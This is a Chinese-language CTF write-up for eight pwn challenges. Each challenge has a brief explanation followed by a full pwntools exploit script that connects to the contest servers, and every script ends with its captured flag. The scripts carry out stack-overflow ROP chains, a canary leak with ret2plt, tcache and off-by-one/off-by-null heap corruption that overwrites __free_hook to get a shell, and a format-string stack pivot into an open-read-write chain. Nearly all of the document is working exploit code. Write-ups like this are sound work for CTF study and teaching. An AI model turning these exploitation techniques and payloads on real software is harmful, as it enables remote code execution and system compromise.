强网拟态WP

总的来说这次强网拟态的PWN题都不算难,不过有几个点倒是挺有意思的。

一、sonic

泄露elf_base了,然后直接栈溢出,利用本身自带的gadget即可getshell。但是这里也有一个后门函数,之后才发现的,不知道为啥。/usr/bin/cli这个命令居然直接得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./sonic"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("123.60.63.90",6890)
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "your choice>>"

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


ru("main Address=0x")
elf_base = int(rc(12),16) -0x7cf
backdoor = elf_base+0x73A
lg("elf_base",elf_base)

pop_rdi_ret = 0x00000000000008c3
pop_rsi_r15_ret = 0x00000000000008c1
usrname = 0x201040
execv = 0x610

payload = ""
payload += '/bin/sh\x00'.ljust(0x28,'A')
payload += p64(elf_base + pop_rdi_ret)
payload += p64(elf_base + usrname)
payload += p64(elf_base + pop_rsi_r15_ret)
payload += p64(0)
payload += p64(0)
payload += p64(elf_base + execv)

#dbg()
sl(payload)
#pause()
p.interactive()


#flag{riCGJnvUieCXasPUUiAQ6XzWVdjFJTQB}

这里可以注意下execv这个函数,设置了rdi为/bin/sh之后还需要设置rsi为0才可getshell。

二、bitflip

这也是很常规,2.27的off by one,只能最大0x60的Chunk,可以直接改size大于0x80的fastbin,填满tcache之后释放进入Unsortedbin泄露地址,之后就常规改free_hook了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./bitflip"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("124.71.130.185","49155")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "Your choice: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def add(idx,size):
sla(menu,'1')
sla('Index: ',str(idx))
sla('Size: ',str(size))
def edit(idx,con):
sla(menu,'2')
sla('Index: ',str(idx))
sla('Content: ',con)
def show(idx):
sla(menu,'3')
sla('Index: ',str(idx))
def delete(idx):
sla(menu,'4')
sla('Index: ',str(idx))


for i in range(8):
add(i,0x38)

for i in range(8,12):
add(i,0x38)

for i in range(8):
edit(i,(0x38)*"\x11"+'\xe1')

edit(11,"\x21"*0x18+p64(0x21))

for i in range(8):
delete(i+1)


add(12,0x38)
show(12)
libc_base = u64Leakbase(304+0x10+libc.sym['__malloc_hook'])

__free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
lg("libc_base",libc_base)
lg("__free_hook_addr",__free_hook_addr)
lg("system_addr",system_addr)

add(13,0x38)
delete(10)
delete(13)
edit(9,p64(__free_hook_addr))
add(14,0x38)
add(15,0x38)
edit(15,p64(system_addr))
edit(0,'/bin/sh\x00')
delete(0)
it()

#flag{2296341872d87bd532c121d14d55c4ac}

三、old_school

很常规,2.27的off by one,直接拿off by null的模板改了,其实用上面bitflip的模板也是一样的,改size。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./old_school"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("121.36.194.21",49155)
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "Your choice: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def add(idx,size):
sla(menu, "1")
sla("Index: ", str(idx))
sla("Size: ", str(size))

def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sa("Content: ", con)


for i in range(0x7):
add(i,0xf8)

for i in range(0x7,0x7+0x7):
add(i,0x98)

add(0x14,0xf8) #0x14

add(0x15,0x98) #0x15
add(0x16,0xe8) #0x16
add(0x17,0xe8) #0x17
add(0x18,0xf8) #0x18
add(0x19,0xf8) #0x19
add(0x1a,0xf8) #0x1a

for i in range(0x7):
delete(i)
for i in range(0x7,0x7+0x7):
delete(i)

delete(0x15)
#prented off by null
edit(0x18,'\x33'*0xf0+p64(0x300+0xa0-0x10-0x10)+'\x00'+'\n')
delete(0x19)

for i in range(0x7,0x7+0x7):
add(i,0x98)

add(0x1b,0x98)
sleep(1)
show(0x1b)
ru("Content: ")
libc_base = u64Leakbase(0x3ec0b0)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
one = libc_base + 0x4f432
lg("libc_base",libc_base)
lg("free_hook",free_hook)
lg("system",system)
sleep(1)

add(0x1c,0xe8)
add(0x1d,0xe8)
delete(0x1d)
delete(0x1c)
edit(0x16,p64(free_hook)+'\n')
add(0x1e,0xe8)
add(0x1f,0xe8)
edit(0x1f,p64(system)+'\n')
edit(0x14,'/bin/sh\x00'+"A"*0x10+'\n')
delete(0x14)
it()

#flag{m0lWJAzDB1vzxMn9PlMQXkPvEmGAdZzB}

四、old_school_revenge

刚好又出了个off by null,同样就是模板打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./old_school_revenge"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("123.60.63.39",49155)
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "Your choice: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def add(idx,size):
sla(menu, "1")
sla("Index: ", str(idx))
sla("Size: ", str(size))

def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sla("Content: ", con)

for i in range(0x7):
add(i,0xf8)

for i in range(0x7,0x7+0x7):
add(i,0x98)

add(0x14,0xf8) #0x14

add(0x15,0x98) #0x15
add(0x16,0xe8) #0x16
add(0x17,0xe8) #0x17
add(0x18,0xf8) #0x18
add(0x19,0xf8) #0x19
add(0x1a,0xf8) #0x1a

for i in range(0x7):
delete(i)
for i in range(0x7,0x7+0x7):
delete(i)

delete(0x15)
#off by null
edit(0x18,'\x22'*0xf0+p64(0x300+0xa0-0x10-0x10))
delete(0x19)

for i in range(0x7,0x7+0x7):
add(i,0x98)


add(0x1b,0x98)
sleep(1)
show(0x1b)
ru("Content: ")
libc_base = u64Leakbase(0x3ec0b0)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
lg("libc_base",libc_base)
lg("free_hook",free_hook)
lg("system",system)
sleep(1)

add(0x1c,0xe8)
add(0x1d,0xe8)
delete(0x1d)
delete(0x1c)
edit(0x16,p64(free_hook))
add(0x1e,0xe8)
add(0x1f,0xe8)
edit(0x1f,p64(system))
edit(0x14,'/bin/sh\x00'+"\x11"*0x10)
delete(0x14)
it()

#flag{chz1IrUaAgSELXLciMeRB2XMeWQVZAKl}

五、pwnpwn

泄露canary后直接ret2plt即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwnpwn"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("124.71.156.217","49155")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "your choice>>"

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


main_addr = elf.sym['main']
system_addr = elf.plt['system']
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63

sla("welcome to mimic world,try something\n",'1')
ru("let us give you some trick\n0x")
elf_base = int(rc(12),16) - 0x9b9
lg("elf_base",elf_base)
sl("2")
ru("hello\n")
payload = ""
payload += "M"*(0x68)
sl(payload)
ru("M"*(0x68))
canary = u64(rc(8))-0xa
lg("canary",canary)

payload1 = ""
payload1 += "D"*(0x68)
payload1 += p64(canary)
payload1 += "D"*8
payload1 += p64(elf_base + pop_rdi_ret)
payload1 += p64(elf_base + 0x202010)
payload1 += p64(elf_base + system_addr)
payload1 += p64(elf_base + main_addr)


sl(payload1)
p.interactive()

#flag{63YGBWA1c0pfPrLqhQPiiGJCOl7JWMD9}

六、random_heap

这道题目比较有意思,虽然是最简单的UAF,但是不知道为什么每次都会随机更换bin中chunk的位置,但是对应的索引chunk其实还是不变的,所以直接爆破就好。但是这个也可以通过填满0x100以下大小的tcache来更大概率getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./random_heap"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("124.71.140.198","49153")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "Your choice: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def add(idx,size):
sla(menu,'1')
sla('Index: ',str(idx))
sla('Size: ',str(size))
def edit(idx,con):
sla(menu,'2')
sla('Index: ',str(idx))
sla('Content: ',con)
def show(idx):
sla(menu,'3')
sla('Index: ',str(idx))
def delete(idx):
sla(menu,'4')
sla('Index: ',str(idx))


#normal UAF
add(0,0x98)
add(1,0x28)
for i in range(8):
edit(0,"D"*16)
delete(0)
#leak libc
show(0)
libc_base = u64Leakbase(96+0x10+libc.sym['__malloc_hook'])

__free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
lg("libc_base",libc_base)
lg("__free_hook_addr",__free_hook_addr)
lg("system_addr",system_addr)
add(2,0x28)
delete(2)
edit(2,p64(__free_hook_addr)+p64(0))
edit(1,'/bin/sh\x00')

dbg()
#prented random
while True:
try:
add(3,0x48)
add(4,0x48)
edit(4,p64(system_addr))
edit(3,'/bin/sh\x00')
delete(3)
delete(4)
except:
it()

#flag{bdcef975ec2589f3e58d105d06587798}

七、bornote

这道题目贼傻逼,最开始依据urandom申请了一个随机大小chunk,导致堆布局会失效。但是由于题目设置,实际上也就存在大概十来种大小的chunk,选一个实例爆破一下即可。但是最开始我居然还以为这个是很随机的,直接假设申请了240大小的Chunk,结果爆了一晚上都没爆出来,实在是傻逼了。之后就是正常的2.31下的off by null了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./note"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "cmd: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def add(size):
sla(menu, "1")
sla("Size: ", str(size))

def delete(idx):
sla(menu, "2")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "3")
sla("Index: ", str(idx))
sla("Note: ", con)

def pwn():
sla("username: ","DBDX")
add(0x478)
add(0x478)
add(0x478)
delete(0)
delete(1)
delete(2)

#0x9f0
add(0x118)
edit(0,'\x11'*0x10)
add(0x418) #1 fd 0x---2b0
add(0x108) #2
add(0x418) #3
add(0x438) #4 unlink_chunk 0x---c00
add(0x108) #5
add(0x428) #6 bk 0x---150
add(0x208) #7
#left fd bk in 0x---c00
delete(1)
delete(4)
delete(6)
#merge and carve to get 0x---c20 and change size which in 0x---c00
delete(3)

add(0x438) #8 set size
edit(1,'\x08'*0x418 + '\x91'+'\x0b')

#reply
add(0x418) # 9 0x---c20
add(0x428) # 10 bk 0x---150
add(0x418) # 11 fd 0x---2b0

#repair fd
delete(6) #0x---2b0 11
delete(3) #0x---c20 9
add(0x418) # 12 0x---2b0 to overflow \x00 in fd
edit(3,'DBDXZNBA')
add(0x418) # 13 0x---c20


#repair bk
delete(6) #13
delete(4) #4

add(0x5f8) #14 let 0x---150 0x---c20 into largebin

add(0x428) # 15 0x---150 to overflow \x00 in fd
edit(6,'')

#trigger off-by-null
edit(7,'\x77'*0x200+p64(0xb90))
add(0x18)
delete(4)
add(0x18)
add(0x3d8)
show(4)
ru("Note: ")
libc_base = u64Leakbase(96+0x10+libc.sym['__malloc_hook'])
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one = libc_base + 0xe6c81
lg("libc_base",libc_base)
lg("free_hook",free_hook)
lg("system_addr",system_addr)
delete(0)
delete(2)
add(0x48)
add(0x18)

delete(1)
delete(3)
delete(2)
delete(8)

edit(0,'/bin/sh\x00'+p64(0x0)
+p64(0x440)+p64(0x20)
+p64(free_hook))

add(0x18)
add(0x18)

edit(2,p64(one))
delete(0)
it()


i = 0
while True:
i += 1
log.info("Times:%d"%i)
try:
p = remote("121.36.250.162",49153)
#p = process("./bornote")
pwn()
except EOFError:
p.close()
continue
else:
p.interactive()
break



#flag{d483f651c1cbcad9a7bb87d04d498ea7}

八、oldecho

这道题目最有意思了,close(1),然后循环的格式化字符串。需要改stdout的fileno为2才能恢复输出。同时由于close(1),导致格式化输出printf的大小不能太大,大概0x2000左右就不行了,所以也需要爆破一下。之后又由于栈环境问题,这里给了栈地址,但也是需要爆破一下最后的一些大小问题,大概设置在一定范围可控。

此外由于栈上没有stdout,所以需要抬栈,比赛的时候没做过改fileno的,是学长做的。赛后照着自己的思路复现了一下,先覆盖返回地址返回到上一层函数,即main函数中,之后再返回到start,之后就使得可以在栈上留下IO_2_1_stout。(这里具体为什么会出现我也不太懂)

然后就是改返回地址,pop rbp将输入的bss段给rbp,然后借助leave ret指令将rbp给到rsp,劫持栈到输入的bss段上,之后就是正常的ORW。

这里借助栈寻找gadget也是一个小难点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
from pwn import *
import sys

binary = "./oldecho"
context.log_level = "debug"
#context.binary = binary
context.arch = "amd64"
elf = ELF(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


global p



def dbg():
gdb.attach(p)
pause()

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.close()
pause()
#b *$rebase(0xdbd)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


def pwn():
#p = remote("123.60.32.152",49153)
p.recvuntil('Gift: ')
stack = int(p.recv(14),16)
log.info('Stack:\t' + hex(stack))
offset = 9
retval = stack&0xFFFF
if retval > 0x2000:
raise Exception("Invalid stack!")

retval1 = stack&0xFF
if retval1 <= 0x50:
raise Exception("Invalid stack!")

retval2 = stack&0xFF
if retval1 >= 0xe8:
raise Exception("Invalid stack!")

#return to 0xe40 main to get io_2_1_stdout
p.recv()
p.sendline('%' + str(((stack&0xFF) - 0x10)) + 'c%6$hhn')
p.sendline('%'+ str(0x40) + 'c%10$hhn')

#return to start
p.sendline('%' + str(((stack&0xFF) - 0x38)) + 'c%6$hhn')
p.sendline('%'+ str(0x3f) + 'c%10$hhn')


#change list to io
p.sendline('%' + str(((stack&0xFF) - 0x80)) + 'c%15$hhn')
#pause()

#change IO fileno
p.sendline('%' + str(0x90) + 'c%41$hhn')
p.sendline('%'+ str(0x2) + 'c%29$hhnGet')
# p.recvuntil('xxxx',timeout=0.5)
# #dockerDbg()
test = 'AAAA'
leakPl = "ELF:%7$p.Libc:%13$p"

# p.sendline(test)
ru("Get")
#dockerDbg()
p.sendline(leakPl)
#pause()
#p.interactive()
ru("ELF:0x")
elf_base = int(rc(12),16) -0xe1e
ru("Libc:0x")
libc_base = int(rc(12),16) - 240 -libc.sym['__libc_start_main']
if libc_base&0xFFFF > 0x2000:
raise Exception("Invalid Libc!")
# print(elf_base)
# print(libc_base)
lg("elf_base",elf_base)
lg("libc_base",libc_base)
#pause()

pop_rbp_r13_r14_ret =libc_base + 0x00000000000206d1
pop_rsi_ret = libc_base + 0x00000000000202f8
pop_rdi_ret = libc_base + 0x0000000000021112
pop_rdx_ret = libc_base + 0x0000000000001b92
pop_rdx_rsi = libc_base + 0x00000000001151c9
pop_rax_ret = libc_base + 0x000000000003a738
xchg_eax_esp_ret = libc_base + 0x0aa985
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
orw = './flag\x00\x00'
orw += p64(pop_rdi_ret) + p64(elf_base + 0x202060)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(pop_rsi_ret) + p64(elf_base + 0x2020F0)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(elf_base + 0x2020F0)
orw += p64(Puts)



#dockerDbg()
p.sendline('%' + str(((stack&0xFF)+0x8)) + 'c%6$hhn')
p.sendline('%'+ str(0x60) + 'c%10$hhn')
#pause()


#dockerDbg()
p.sendline('%' + str(((stack&0xFF)+ 0x20)) + 'c%6$hhn')
p.sendline('%'+ str(0x3e) + 'c%10$hhn')
#pause()

#dockerDbg()
p.sendline('%' + str(((stack&0xFF))) + 'c%6$hhn')
p.sendline('%'+ str(pop_rbp_r13_r14_ret&0xFFFF) + 'c%10$hn')
#pause()


#dockerDbg()
payload = ""
payload += "Bye~"
payload = payload.ljust(0x20,'\x00')
payload += orw
p.sendline(payload)
it()


i = 0
while True:
i += 1
log.info("Times:%d"%i)
try:
p = process(binary)
pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
